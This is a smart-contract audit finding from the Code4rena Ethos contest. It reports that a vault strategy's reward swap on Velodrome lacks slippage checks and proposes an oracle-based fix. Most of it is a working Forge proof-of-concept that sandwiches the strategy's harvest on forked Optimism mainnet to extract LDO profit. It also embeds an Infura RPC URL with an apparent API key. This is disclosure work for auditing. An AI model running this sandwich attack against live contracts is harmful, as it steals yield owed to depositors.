code-423n4 / 2023-02-ethos-findings

8 stars 6 forks source link

Missing slippage protection allows for profits to be stolen #115

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L114

Vulnerability details

Missing slippage protection allows for profits to be stolen

Summary

ReaperStrategyGranarySupplyOnly features swapping additional reward tokens to the want token on Velodrome. Due to missing slippage checks, this swap can be sandwiched and the rewards stolen.

Detailed description

ReaperStrategyGranarySupplyOnly takes a want token and deposits it on Granary to generate more want tokens. For certain tokens, Granary offers additional rewards in the form of additional tokens. For example, depositing wstETH will yield more wstETH plus LDO tokens over time. Since the system is designed to work with a single token only, the strategy uses Velodrome, a Uniswap V2 fork, to swap the additional yield tokens to the want token.

The issue with this swap is that there is no slippage protection in place. After the strategy swapped the tokens, it does not check whether it received an acceptable output amount. This enables calls to _harvestCore to be sandwiched by MEV bots or other attackers in order to steal these profits which should be distributed to Ethos' users and depositors.

Recommended mitigation

The strategy needs to check that it received an acceptable amount of tokens after swapping. To be able to check this condition, the strategy needs to know how much yield tokens are roughly worth in terms of want tokens. This data can be supplied by integrating an oracle into the strategy, either an off-chain oracle such as Chainlink or an on-chain oracle such as DEX TWAP oracles.

When the strategy has pricing data available, it can simply check that the output amount matches roughly after swapping:

function _harvestCore(uint256 _debt) internal override returns (int256 roi, uint256 repayment) {
// ...
// After swap:

// Calculate the worth of the sold yield tokens
uint256 yieldTokenWorth = amountSoldYieldTokens * yieldTokenPriceFromOracle;
// Calculate the worth of the received want tokens
uint256 outputWantTokenWorth = amountReceivedWantTokens * wantTokenPriceFromOracle;

// Allow for 2% slippage (as an example) from the oracle price
require(outputWantTokenWorth >= (yieldTokenWorth * 98 / 100), "slippage too high");

// ...
}

PoC

Due to the complexity of the PoC, it is implemented as Forge test. If you do not have Forge installed yet please follow the Foundry quick installation guide in the Github README.

To set up, run forge init --force --no-git followed by forge install in the Ethos-Vault directory. Then paste the following code below into test/Exploit.sol and run it with forge test -vv --fork-url https://optimism-mainnet.infura.io/v3/d0696251f54441c2a48cf9dadc669d76 (feel free to use your own RPC if you wish to do so). You should see output similar to this:

Running 1 test for test/Exploit.sol:ExploitTest
[PASS] testExploit() (gas: 9982191)
Logs:
  Profit in LDO tokens:
  148

For an explanation regarding the inner workings of the PoC itself, please refer to the comment in the code.

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "forge-std/Test.sol";

import "../contracts/ReaperVaultERC4626.sol";
import "../contracts/ReaperStrategyGranarySupplyOnly.sol";
import "../contracts/interfaces/IVeloRouter.sol";

/*
    This snippet demonstrates exploiting the `ReaperStrategyGranarySupplyOnly` strategy to steal its profits.
    The documentation below is only intended to describe the PoC code, for details about the bug itself please
    refer to the description in the bug report.

    The process begins by setting up an environment as it would look like on chain: 
    - a `ReaperVaultERC4626`
    - managing a `ReaperStrategyGranarySupplyOnly`
    - which takes `wstETH` tokens and deposits them on Granary
    - to generate more `wstETH` and `LDO` tokens as yield
    - and swaps `LDO` to `wstETH` upon drawing profits from Granary 

    This setup is done in `testExploit`, which is the entry point to this script.

    After the setup is complete, `main()` is invoked to run the actual exploit. 
    It will first dump `LDO` in the Velodrome pool, execute the sandwiched transaction, 
    and finally backrun the sandwiched transaction to make a profit. 

    Note that this script must be run on forked Optimism mainnet. This means that the state on mainnet
    could change in such a way that this exploit needs adaptation in order to work again, for example the 
    Velodrome pool balances changing in a way which needs the `DUMP_AMOUNT` to be adjusted.
    As of 22nd February it works as expected. 

    Finally, since this is a PoC, the values used are not calculated to be optimal, and more profit
    can be generated in a real scenario by finding the mathematically optimal settings.
*/
contract ExploitTest is Test {
    IVeloRouter router = IVeloRouter(0xa132DAB612dB5cB9fC9Ac426A0Cc215A3423F9c9);
    IERC20 wstEth = IERC20(0x1F32b1c2345538c0c6f582fCB022739c4A194Ebb);
    IERC20 gwstEth = IERC20(0x1a7450AACc67d90afB9e2C056229973354cc8987);
    IERC20 ldo = IERC20(0xFdb794692724153d1488CcdBE0C56c252596735F);

    ReaperVaultERC4626 vault;
    ReaperStrategyGranarySupplyOnly strategy;

    uint256 DUMP_AMOUNT = 10_000 ether;

    function main() internal {
        // Main exploit, runs after setup is complete

        // Step 1: Dump the pool
        deal(address(ldo), address(this), DUMP_AMOUNT);
        ldo.approve(address(router), type(uint256).max);

        // Store the initial balance to calculate profit later
        uint256 balanceBefore = ldo.balanceOf(address(this));

        IVeloRouter.route[] memory routes = new IVeloRouter.route[](1);
        routes[0] = IVeloRouter.route({from: address(ldo), to: address(wstEth), stable: false});
        router.swapExactTokensForTokens(DUMP_AMOUNT, 0, routes, address(this), block.timestamp + 1);

        // Step 2: Let the sandwiched transaction execute
        strategy.harvest();

        // Step 3: Backrun the sandwiched transaction
        wstEth.approve(address(router), type(uint256).max);
        routes[0] = IVeloRouter.route({from: address(wstEth), to: address(ldo), stable: false});
        router.swapExactTokensForTokens(wstEth.balanceOf(address(this)), 0, routes, address(this), block.timestamp + 1);

        // Print profit
        console.log("Profit in LDO tokens:");
        console.log((ldo.balanceOf(address(this)) - balanceBefore) / 1 ether);
    }

    function testExploit() external {
        // ENTRY POINT
        // Set up the environment

        // Deploy the vault
        address[] memory strategists = new address[](1);
        strategists[0] = address(this);
        address[] memory multisigRoles = new address[](3);
        multisigRoles[0] = address(this);
        multisigRoles[1] = address(this);
        multisigRoles[2] = address(this);
        vault = new ReaperVaultERC4626(
            address(wstEth),
            "VAULT",
            "VAULT",
            type(uint256).max,
            address(this),
            strategists,
            multisigRoles
        );

        // Deploy the strategy
        address logic = address(new ReaperStrategyGranarySupplyOnly());
        strategy = ReaperStrategyGranarySupplyOnly(
            address(
                new ERC1967Proxy(
                    logic,
                    abi.encodeWithSelector(
                        ReaperStrategyGranarySupplyOnly.initialize.selector,
                        address(vault),
                        strategists,
                        multisigRoles,
                        IAToken(address(gwstEth))
                    )
                )
            )
        );

        // Set swap steps
        address[2][] memory steps = new address[2][](1);
        steps[0][0] = address(ldo);
        steps[0][1] = address(wstEth);
        strategy.setHarvestSteps(steps);

        // Set swap path
        address[] memory path = new address[](2);
        path[0] = address(ldo);
        path[1] = address(wstEth);
        strategy.updateVeloSwapPath(address(ldo), address(wstEth), path);

        // Add strategy to vault
        vault.addStrategy(address(strategy), 0, 10000);

        // Deposit funds
        deal(address(wstEth), address(this), 1_000 ether);
        wstEth.approve(address(vault), type(uint256).max);
        vault.depositAll();

        // Send initial funds to strategy
        strategy.harvest();

        // Increase block time and number to simulate accumlating rewards
        vm.roll(block.number + 100_000);
        vm.warp(block.timestamp + 100_000 * 12);

        // Execute the main exploit
        main();
    }
}
c4-judge commented 1 year ago

trust1995 marked the issue as unsatisfactory: Out of scope